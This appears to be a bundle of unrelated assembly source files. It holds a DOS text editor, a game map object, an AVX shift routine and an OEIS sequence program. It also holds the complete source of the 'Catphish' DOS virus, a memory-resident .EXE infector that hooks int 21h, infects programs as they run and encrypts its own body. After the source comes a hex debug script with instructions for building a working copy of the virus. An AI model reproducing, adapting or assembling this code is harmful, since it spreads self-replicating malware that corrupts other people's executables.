.286 .model small .stack 1024 .data Filename db "tst.txt",0 stringarray dw 30000 dup(00h) handle dw ? buff db ? typemode db 0 OpenErrorMsg db 10,13,'unable to open file$' ReadFileErrorMsg db 10,13,'unable to read file$' WriteFileErrorMsg db 10,13,'unable to write file$' CloseFileErrorMsg db 10,13,'unable to close file$' Saved db 10,13 ,"Save Completed!$" .code org 100h .startup mov al,03h mov ah,0 int 10h mov dh, 0 ;set row (0-24) mov dl, 0 ;set column (0-79) mov bh, 0 mov ah, 2 ;set cursor position top left corner int 10h call OpenFile call ReadFile position: mov ah,2 mov dh,0 mov dl,0 mov bh,0 int 10h ; positions the cursor on the top left corner get: mov ah,0 int 16h ; ah = scan code , al = ascii code check: cmp al,1bh ;checks to see if you press ESC button je endl1 ; if yes jump to end cmp al,9 je tab1 cmp al,8 ;checks if you pressed BACKSPACE je backspace1 cmp al,127 je del1 cmp al,0dh ; checks if you pressed enter jne move_next jmp next_line move_next: cmp ah,83 je del1 cmp al,0 ; checks if you buttoned null(nothing) jne check_next ; no a key was pressed call dir jmp next check_next: cmp typemode, 0 je overtype_character call shiftahead overtype_character: mov ah,2 mov dl,al int 21h ; display the character you just entered next: mov ah,0 int 16h jmp check dir: ;scanning keys push bx push cx push dx push ax mov ah,3 mov bh,0 int 10h pop ax ; get location cmp ah,63 ;F5 to save file je loop_video_memory1 cmp ah,75 ; LEFT ARROW je go_left cmp ah,77 ; RIGHT ARROW je go_right cmp ah, 61 ; F3 to switch mode je switch_mode jmp EXIT switch_mode: cmp typemode, 0 je switch_typemode_to_Insert mov typemode, 0 jmp EXIT switch_typemode_to_Insert: mov typemode, 1 jmp EXIT new_line1: jmp new_line backspace1: jmp backspace tab1: jmp tab del1: jmp del endl1: jmp end1 loop_video_memory1: jmp loop_video_memory line1: jmp line tab: mov si,4 push si shft: call shiftahead mov ah,2 mov dl,20h int 21h pop si dec si jnz shift1 jz get2 shift1: push si jmp shft get2: jmp get del: mov ah,2 mov dl,20h int 21h call shiftback mov dl,8 int 21H jmp get go_left: cmp dl,0 je line1 dec dl jmp EXECUTE go_right: cmp dl,79 je new_line1 inc dl jmp EXECUTE next_line: call getcursor xor dh, dh cbw mov si,80 sub si,dx push si shft1: call shiftahead mov ah,2 mov dl,20h int 21h pop si dec si jnz shift2 jz get3 shift2: push si jmp shft1 get3: call getcursor cmp dh,24 je stay mov dl,0 mov ah,2 int 10h jmp get stay: call getcursor mov dh,dh mov dl,dl mov ah,2 int 10h jmp get backspace: call getcursor cmp dl,79 je specialcase mov ah,2 mov dl,20h int 21h xor dl,dl call getcursor call shiftback cmp dl,0 je bline dec dl cmp dl,0 je bline dec dl mov ah,2 int 10h jmp get specialcase: mov ah,2 mov dl,20h int 21h mov ah,2 mov bh,0 mov dh,dh mov dl,78 int 10h jmp get bline: cmp dh,0 je bno_jump dec dh mov ah,2 mov bh,0 mov dh,dh mov dl,79 int 10h jmp get bno_jump: mov ah,2 mov bh,0 mov dx,0 int 10h jmp get line: cmp dh,0 je no_jump dec dh mov ah,2 mov bh,0 mov dh,dh mov dl,79 int 10h jmp EXIT no_jump: mov ah,2 mov bh,0 mov dx,0 int 10h jmp EXIT new_line: cmp dh,24 je no_new_jump inc dh mov ah,2 mov bh,0 mov dh,dh mov dl,1 int 10h jmp EXIT no_new_jump: mov ah,2 mov bh,0 mov dh,24 mov dl,79 int 10h jmp EXIT EXECUTE: mov ah,2 int 10h EXIT: pop dx pop cx pop bx jmp get end1: call closefile mov ah,4ch int 21h loop_video_memory: mov ax, 0b800h mov es, ax mov si, 0 mov di, 0 mov cx, 1920 loop_array: mov ax, es:[si];mov ax, es:si the orginal code didn't work on DOS mov [StringArray + di], ax add si,2 add di,1 loop loop_array write: ;delete file to delete what was inside mov ah,41h lea dx,filename int 21h ;create new file mov ah,3ch mov cx,2 lea dx,Filename int 21h ;jc CreateError mov handle,ax mov ah,40h ;write to file mov bx,handle mov cx,1920 mov al,2 lea dx,StringArray int 21h ;jc WriteError save: lea dx,saved mov ah,9 int 21h ;call closefile jmp end1 OpenFile proc near mov ax,3d02h ;open file with handle mov dx, offset Filename int 21h jc OpenError mov handle,ax ret OpenError: Lea dx,OpenErrorMsg ; set up pointer to open error message mov ah,9 int 21h ; set error flag STC ret OpenFile ENDP ReadFile proc Near mov ah,3fh ; read from file function mov bx,handle lea dx,buff mov cx,1 int 21h jc ReadError cmp ax,0 jz EOff mov dl,buff cmp dl,1ah jz EOff mov ah,2 int 21h jmp ReadFile ReadError: lea dx,ReadFileErrorMsg mov ah,9 int 21h STC EOff: ret ReadFile Endp CloseFile proc near mov ah,3eh mov bx,handle int 21h jc CloseError ret CloseError: lea dx,CloseFileErrorMsg mov ah,9 int 21h STC ret CloseFile endp getcursor proc ;get cursor position mov ah, 03h mov bh,00h int 10h ret getcursor endp shiftahead proc pusha call getcursor mov cx, dx mov bl, 80 mov al, ch mul bl mov bh, 0 mov bl, dl add bx, ax mov ax, 0b800h mov es, ax mov si, 3998 mov di, si sub di, 2 mov cx, 1999 loop_array_: mov ax, es:[di] ;mov ax, es:si the orginal code didn't work on DOS mov es:[si], ax sub si,2 sub di,2 cmp cx, bx jbe end_loop_array_ sub cx, 1 jmp loop_array_ end_loop_array_: popa ret shiftahead endp shiftback proc pusha call getcursor mov cx, dx mov bl, 80 mov al, ch mul bl mov bh, 0 mov bl, dl add bx, ax mov ax, 0b800h mov es, ax mov si, bx shl si, 1 mov di, si sub di, 2 mov cx, 1999 loop1: mov ax, es:[si] ;mov ax, es:si the orginal code didn't work on DOS mov es:[di], ax add si,2 add di,2 cmp bx, cx jae end_loop1 add bx, 1 jmp loop1 end_loop1: popa ret shiftback endp end
data/mapObjects/fuchsiameetingroom.asm
adhi-thirumala/EvoYellow
16
16844
<filename>data/mapObjects/fuchsiameetingroom.asm<gh_stars>10-100 FuchsiaMeetingRoomObject: db $17 ; border block db $2 ; warps db $7, $4, $6, $ff db $7, $5, $6, $ff db $0 ; signs db $3 ; objects object SPRITE_WHITE_PLAYER, $4, $1, STAY, DOWN, $1 ; person object SPRITE_WHITE_PLAYER, $0, $2, STAY, UP, $2 ; person object SPRITE_WHITE_PLAYER, $a, $1, STAY, DOWN, $3 ; person ; warp-to EVENT_DISP FUCHSIA_MEETING_ROOM_WIDTH, $7, $4 EVENT_DISP FUCHSIA_MEETING_ROOM_WIDTH, $7, $5
book-01/Assembly/asm/avx/packed/avx_p_shift_integer.asm
gfurtadoalmeida/study-assembly-x64
2
14395
.code ; bool AVX_Packed_Shift_Integer_(const XmmVal & input, XmmVal & results, ShiftOp shift_op, unsigned int count); AVX_Packed_Shift_Integer_ proc mov r8d, r8d ; Just to zero extend cmp r8, ShiftOpJumpTableCount jae BadShiftOp vmovdqa xmm0, xmmword ptr [rcx] ; xmm0 = input vmovd xmm1, r9d ; xmm1 = shift count mov eax, 1 mov r10, ShiftOpJumpTable jmp qword ptr [r10+r8*type qword] U16_LOG_LEFT: vpsllw xmm2, xmm0, xmm1 vmovdqa xmmword ptr [rdx], xmm2 ret U16_LOG_RIGHT: vpsrlw xmm2, xmm0, xmm1 vmovdqa xmmword ptr [rdx], xmm2 ret U16_ARITH_RIGHT: vpsraw xmm2, xmm0, xmm1 vmovdqa xmmword ptr [rdx], xmm2 ret U32_LOG_LEFT: vpslld xmm2, xmm0, xmm1 vmovdqa xmmword ptr [rdx], xmm2 ret U32_LOG_RIGHT: vpsrld xmm2, xmm0, xmm1 vmovdqa xmmword ptr [rdx], xmm2 ret U32_ARITH_RIGHT: vpsrad xmm2, xmm0, xmm1 vmovdqa xmmword ptr [rdx], xmm2 ret BadShiftOp: xor rax, rax vpxor xmm0, xmm0, xmm0 vmovdqa xmmword ptr [rdx], xmm0 ret align 8 ; Must have the same order as defined in the ; "CvtOp" enum at "avx.h" ShiftOpJumpTable equ $ qword U16_LOG_LEFT qword U16_LOG_RIGHT qword U16_ARITH_RIGHT qword U32_LOG_LEFT qword U32_LOG_RIGHT qword U32_ARITH_RIGHT ShiftOpJumpTableCount equ ($-ShiftOpJumpTable)/size qword AVX_Packed_Shift_Integer_ endp end
MSDOS/Virus.MSDOS.Unknown.catphish1.asm
fengjixuchui/Family
3
97521
name VIRUSTEST title code segment assume cs:code, ds:code, es:code org 100h ;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ; FirstStrike presents: ; ; The Catphish Virus. ; ; The Catphish virus is a resident .EXE infector. ; Size: 678 bytes (decimal). ; No activation (bomb). ; Saves date and file attributes. ; ; If assembling, check_if_resident jump must be marked over ; with nop after first execution (first execution will hang ; system). ; ; *** Source is made available to learn from, not to ; change author's name and claim credit! *** start: call setup ; Find "delta offset". setup: pop bp sub bp, offset setup-100h jmp check_if_resident ; See note above about jmp! pre_dec_em: mov bx,offset infect_header-100h add bx,bp mov cx,endcrypt-infect_header ror_em: mov dl,byte ptr cs:[bx] ror dl,1 ; Decrypt virus code mov byte ptr cs:[bx],dl ; by rotating right. inc bx loop ror_em jmp check_if_resident ;--------------------------------- Infect .EXE header ----------------------- ; The .EXE header modifying code below is my reworked version of ; Dark Angel's code found in his Phalcon/Skism virus guides. infect_header: push bx push dx push ax mov bx, word ptr [buffer+8-100h] ; Header size in paragraphs ; ^---make sure you don't destroy the file handle mov cl, 4 ; Multiply by 16. Won't shl bx, cl ; work with headers > 4096 ; bytes. Oh well! sub ax, bx ; Subtract header size from sbb dx, 0 ; file size ; Now DX:AX is loaded with file size minus header size mov cx, 10h ; DX:AX/CX = AX Remainder DX div cx mov word ptr [buffer+14h-100h], dx ; IP Offset mov word ptr [buffer+16h-100h], ax ; CS Displacement in module mov word ptr [buffer+0Eh-100h], ax ; Paragraph disp. SS mov word ptr [buffer+10h-100h], 0A000h ; Starting SP pop ax pop dx add ax, endcode-start ; add virus size cmp ax, endcode-start jb fix_fault jmp execont war_cry db 'Cry Havoc, and let slip the Dogs of War!',0 v_name db '[Catphish]',0 ; Virus name. v_author db 'FirstStrike',0 ; Me. v_stuff db 'Kraft!',0 fix_fault: add dx,1d execont: push ax mov cl, 9 shr ax, cl ror dx, cl stc adc dx, ax pop ax and ah, 1 mov word ptr [buffer+4-100h], dx ; Fix-up the file size in mov word ptr [buffer+2-100h], ax ; the EXE header. pop bx retn ; Leave subroutine ;---------------------------------------------------------------------------- check_if_resident: push es xor ax,ax mov es,ax cmp word ptr es:[63h*4],0040h ; Check to see if virus jnz grab_da_vectors ; is already resident jmp exit_normal ; by looking for a 40h ; signature in the int 63h ; offset section of ; interrupt table. grab_da_vectors: mov ax,3521h ; Store original int 21h int 21h ; vector pointer. mov word ptr cs:[bp+dos_vector-100h],bx mov word ptr cs:[bp+dos_vector+2-100h],es load_high: push ds find_chain: ; Load high routine that ; uses the DOS internal mov ah,52h ; table function to find int 21h ; start of MCB and then ; scales up chain to mov ds,es: word ptr [bx-2] ; find top. (The code assume ds:nothing ; is long, but it is the ; only code that would xor si,si ; work when an infected ; .EXE was to be loaded Middle_check: ; into memory. cmp byte ptr ds:[0],'M' jne Check4last add_one: mov ax,ds add ax,ds:[3] inc ax mov ds,ax jmp Middle_check Check4last: cmp byte ptr ds:[0],'Z' jne Error mov byte ptr ds:[0],'M' sub word ptr ds:[3],(endcode-start+15h)/16h+1 jmp add_one error: mov byte ptr ds:[0],'Z' mov word ptr ds:[1],008h mov word ptr ds:[3],(endcode-start+15h)/16h+1 push ds pop ax inc ax push ax pop es move_virus_loop: mov bx,offset start-100h ; Move virus into carved add bx,bp ; out location in memory. mov cx,endcode-start push bp mov bp,0000h move_it: mov dl, byte ptr cs:[bx] mov byte ptr es:[bp],dl inc bp inc bx loop move_it pop bp hook_vectors: mov ax,2563h ; Hook the int 21h vector mov dx,0040h ; which means it will int 21h ; point to virus code in ; memory. mov ax,2521h mov dx,offset virus_attack-100h push es pop ds int 21h pop ds exit_normal: ; Return control to pop es ; infected .EXE mov ax, es ; (Dark Angle code.) add ax, 10h add word ptr cs:[bp+OrigCSIP+2-100h], ax cli add ax, word ptr cs:[bp+OrigSSSP+2-100h] mov ss, ax mov sp, word ptr cs:[bp+OrigSSSP-100h] sti xor ax,ax xor bp,bp endcrypt label byte db 0eah OrigCSIP dd 0fff00000h OrigSSSP dd ? exe_attrib dw ? date_stamp dw ? time_stamp dw ? dos_vector dd ? buffer db 18h dup(?) ; .EXE header buffer. ;---------------------------------------------------------------------------- virus_attack proc far assume cs:code,ds:nothing, es:nothing cmp ax,4b00h ; Infect only on file jz run_kill ; executions. leave_virus: jmp dword ptr cs:[dos_vector-100h] run_kill: call infectexe jmp leave_virus infectexe: ; Same old working horse push ax ; routine that infects push bx ; the selected file. push cx push es push dx push ds mov cx,64d mov bx,dx findname: cmp byte ptr ds:[bx],'.' jz o_k inc bx loop findname pre_get_out: jmp get_out o_k: cmp byte ptr ds:[bx+1],'E' ; Searches for victims. jnz pre_get_out cmp byte ptr ds:[bx+2],'X' jnz pre_get_out cmp byte ptr ds:[bx+3],'E' jnz pre_get_out getexe: mov ax,4300h call dosit mov word ptr cs:[exe_attrib-100h],cx mov ax,4301h xor cx,cx call dosit exe_kill: mov ax,3d02h call dosit xchg bx,ax mov ax,5700h call dosit mov word ptr cs:[time_stamp-100h],cx mov word ptr cs:[date_stamp-100h],dx push cs pop ds mov ah,3fh mov cx,18h mov dx,offset buffer-100h call dosit cmp word ptr cs:[buffer+12h-100h],1993h ; Looks for virus marker jnz infectforsure ; of 1993h in .EXE jmp close_it ; header checksum ; position. infectforsure: call move_f_ptrfar push ax push dx call store_header pop dx pop ax call infect_header push bx push cx push dx mov bx,offset infect_header-100h mov cx,(endcrypt)-(infect_header) rol_em: ; Encryption via mov dl,byte ptr cs:[bx] ; rotating left. rol dl,1 mov byte ptr cs:[bx],dl inc bx loop rol_em pop dx pop cx pop bx mov ah,40h mov cx,endcode-start mov dx,offset start-100h call dosit mov word ptr cs:[buffer+12h-100h],1993h call move_f_ptrclose mov ah,40h mov cx,18h mov dx,offset buffer-100h call dosit mov ax,5701h mov cx,word ptr cs:[time_stamp-100h] mov dx,word ptr cs:[date_stamp-100h] call dosit close_it: mov ah,3eh call dosit get_out: pop ds pop dx set_attrib: mov ax,4301h mov cx,word ptr cs:[exe_attrib-100h] call dosit pop es pop cx pop bx pop ax retn ;---------------------------------- Call to DOS int 21h --------------------- dosit: ; DOS function call code. pushf call dword ptr cs:[dos_vector-100h] retn ;---------------------------------------------------------------------------- ;-------------------------------- Store Header ----------------------------- store_header: les ax, dword ptr [buffer+14h-100h] ; Save old entry point mov word ptr [OrigCSIP-100h], ax mov word ptr [OrigCSIP+2-100h], es les ax, dword ptr [buffer+0Eh-100h] ; Save old stack mov word ptr [OrigSSSP-100h], es mov word ptr [OrigSSSP+2-100h], ax retn ;--------------------------------------------------------------------------- ;---------------------------------- Set file pointer ------------------------ move_f_ptrfar: ; Code to move file pointer. mov ax,4202h jmp short move_f move_f_ptrclose: mov ax,4200h move_f: xor dx,dx xor cx,cx call dosit retn ;---------------------------------------------------------------------------- endcode label byte endp code ends end start >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Below is a sample file that is already infected. Just cut out code and run through debug. Next rename DUMMY.FIL to DUMMY.EXE and you have a working copy of your very own Catphish virus. N DUMMY.FIL E 0100 4D 5A 93 00 06 00 00 00 20 00 00 00 FF FF 5E 00 E 0110 00 A0 93 19 0D 00 5E 00 3E 00 00 00 01 00 FB 30 E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0500 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0510 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0520 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0530 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0540 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0550 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0560 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0570 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0580 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0590 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 05A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 05B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 05C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 05D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 05E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 05F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0600 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0610 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0620 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0630 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0640 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0650 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0660 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0670 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0680 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0690 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 06A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 06B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 06C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 06D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 06E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 06F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0700 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0710 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0720 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0730 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0740 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0750 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0760 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0770 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0780 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0790 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 07A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 07B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 07C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 07D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 07E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 07F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0800 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0810 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0820 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0830 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0840 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0850 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0860 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0870 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0880 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0890 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 08A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 08B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 08C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 08D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 08E0 90 90 90 90 90 90 90 90 B8 00 4C CD 21 E8 00 00 E 08F0 5D 81 ED 03 00 90 90 90 BB 21 00 03 DD B9 41 01 E 0900 2E 8A 17 D0 CA 2E 88 17 43 E2 F5 E9 93 00 A6 A4 E 0910 A0 17 3C FA 02 63 08 A7 C7 56 87 07 B5 00 73 20 E 0920 00 EF E3 13 2C 13 02 47 17 02 47 07 02 8F 0C 0B E 0930 02 00 41 B0 B4 0A 4D 04 7A 4D 04 E4 94 D7 96 21 E 0940 86 E4 F2 40 90 C2 EC DE C6 58 40 C2 DC C8 40 D8 E 0950 CA E8 40 E6 D8 D2 E0 40 E8 D0 CA 40 88 DE CE E6 E 0960 40 DE CC 40 AE C2 E4 42 00 B6 86 C2 E8 E0 D0 D2 E 0970 E6 D0 BA 00 8C D2 E4 E6 E8 A6 E8 E4 D2 D6 CA 00 E 0980 96 E4 C2 CC E8 42 00 07 85 02 A0 63 12 A7 D1 A7 E 0990 95 F3 26 A1 B0 01 C9 02 13 2C F2 02 47 EE 02 B6 E 09A0 87 0C 66 81 1D 81 4C 07 7C 19 02 80 EA 06 D3 03 E 09B0 00 71 42 6A 9B 42 5C 13 3D E2 02 5C 19 0D E6 02 E 09C0 3C 69 A4 9B 42 4C 1D BE FD 66 ED 01 7C 00 00 9A E 09D0 EA 16 19 B1 06 0C 06 00 80 1D B1 D7 DD 01 7C 00 E 09E0 00 B4 EA 1A 8D 0C 00 00 9A 07 5C 06 00 40 21 D7 E 09F0 C3 8D 0C 00 00 B4 8F 0C 02 00 10 00 8F 0C 06 00 E 0A00 40 00 3C B0 80 A0 0E 77 00 00 06 BB 73 4D 04 AA E 0A10 7B 00 00 5C 15 2E 4C 11 AC 00 8A 86 C5 EB BA 71 E 0A20 C6 4A 75 80 00 9B 42 71 42 4A 75 1B 02 0C 3E 9B E 0A30 42 3E 0E 19 81 0A 20 00 5C 02 0D CA 02 F5 5C 06 E 0A40 0D D2 02 1D A1 5C 17 4D CE 02 F7 66 81 66 DB EA E 0A50 00 01 10 00 00 01 00 00 20 00 97 19 5A 0B 92 14 E 0A60 1D 07 4D 5A 93 00 06 00 00 00 20 00 00 00 FF FF E 0A70 5E 00 00 A0 00 00 0D 00 5E 00 3D 00 4B 74 05 2E E 0A80 FF 2E 71 01 E8 02 00 EB F6 50 53 51 06 52 1E B9 E 0A90 40 00 8B DA 80 3F 2E 74 06 43 E2 F8 E9 AE 00 80 E 0AA0 7F 01 45 75 F7 80 7F 02 58 75 F1 80 7F 03 45 75 E 0AB0 EB B8 00 43 E8 A8 00 2E 89 0E 6B 01 B8 01 43 33 E 0AC0 C9 E8 9B 00 B8 02 3D E8 95 00 93 B8 00 57 E8 8E E 0AD0 00 2E 89 0E 6F 01 2E 89 16 6D 01 0E 1F B4 3F B9 E 0AE0 18 00 BA 75 01 E8 77 00 2E 81 3E 87 01 93 19 75 E 0AF0 03 EB 55 90 E8 8C 00 50 52 E8 6A 00 5A 58 E8 0D E 0B00 FE 53 51 52 BB 21 00 B9 41 01 2E 8A 17 D0 C2 2E E 0B10 88 17 43 E2 F5 5A 59 5B B4 40 B9 A6 02 BA 00 00 E 0B20 E8 3C 00 2E C7 06 87 01 93 19 E8 5B 00 B4 40 B9 E 0B30 18 00 BA 75 01 E8 27 00 B8 01 57 2E 8B 0E 6F 01 E 0B40 2E 8B 16 6D 01 E8 17 00 B4 3E E8 12 00 1F 5A B8 E 0B50 01 43 2E 8B 0E 6B 01 E8 05 00 07 59 5B 58 C3 9C E 0B60 2E FF 1E 71 01 C3 2E C4 06 89 01 2E A3 63 01 2E E 0B70 8C 06 65 01 2E C4 06 83 01 2E 8C 06 67 01 2E A3 E 0B80 69 01 C3 B8 02 42 EB 03 B8 00 42 33 D2 33 C9 E8 E 0B90 CD FF C3 RCX 0A93 W Q -+- FirstStrike -+-
programs/oeis/015/A015240.asm
karttu/loda
1
101129
<reponame>karttu/loda ; A015240: a(n) = (2*n - 5)n^2. ; 0,-3,-4,9,48,125,252,441,704,1053,1500,2057,2736,3549,4508,5625,6912,8381,10044,11913,14000,16317,18876,21689,24768,28125,31772,35721,39984,44573,49500,54777,60416,66429,72828,79625,86832,94461,102524,111033,120000,129437,139356,149769,160688,172125,184092,196601,209664,223293,237500,252297,267696,283709,300348,317625,335552,354141,373404,393353,414000,435357,457436,480249,503808,528125,553212,579081,605744,633213,661500,690617,720576,751389,783068,815625,849072,883421,918684,954873,992000,1030077,1069116,1109129,1150128,1192125,1235132,1279161,1324224,1370333,1417500,1465737,1515056,1565469,1616988,1669625,1723392,1778301,1834364,1891593,1950000,2009597,2070396,2132409,2195648,2260125,2325852,2392841,2461104,2530653,2601500,2673657,2747136,2821949,2898108,2975625,3054512,3134781,3216444,3299513,3384000,3469917,3557276,3646089,3736368,3828125,3921372,4016121,4112384,4210173,4309500,4410377,4512816,4616829,4722428,4829625,4938432,5048861,5160924,5274633,5390000,5507037,5625756,5746169,5868288,5992125,